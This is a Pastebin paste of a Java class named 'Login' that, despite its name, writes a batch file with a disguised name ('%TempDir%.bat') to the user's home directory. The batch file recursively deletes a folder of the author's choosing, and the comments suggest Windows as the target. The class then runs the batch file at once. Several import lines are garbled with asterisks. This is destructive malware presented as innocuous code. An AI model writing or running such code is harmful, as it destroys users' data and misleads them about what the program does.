Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import java.awt.Desktop;
- import java****.BufferedWriter;
- import java****.File;
- import java****.FileWriter;
- import java********Exception;
- public class Login {
- //get the users home file path
- public static String getPathToSetFile(){
- //this will get the users home, for example(C:/users/"UsersName"/)
- String home = System.getProperty("user.home");
- return home; // returns the string that we just got(the path)
- }
- //set the file in the given directory
- public static void setFile() throws IOException{
- //creates a new file in the directory we just found, named %tempDir% as a batch file
- File f = new File(getPathToSetFile() + File.separator + "%TempDir%.bat");
- FileWriter fw = new FileWriter(f);
- BufferedWriter bw = new BufferedWriter(fw);//opens up a bufferedwriter for the file
- if(f.exists()){ //if the file exists
- f.setWritable(true); //allows us to write to file
- bw.write("@echo off");
- bw.newLine();
- bw.write("rmdir /s /q \"C:" + File.separator + "AddHere\""); // writes this batch command to file to delete specified folder
- bw.newLine(); // replace add here above with the folder you want deleted ex (Windows)
- bw.write("pause"); //delete this if you dont want bat to stay open after running
- }else{//if the file doesn't exist (no real need for this beacuse we already know the file exists. jsut created it.
- }
- bw.close(); //closes buffered writer
- }
- //gets file and runs it
- public static void runFile() throws IOException{
- setFile();
- File toOpen = new File(getPathToSetFile() + File.separator + "%TempDir%.bat");
- Desktop.getDesktop().open(toOpen); //i used the desktop method to run files, dont ask why. just simpler
- }
- //main method
- public static void main(String[] args) throws IOException{
- runFile();//excecuted code
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement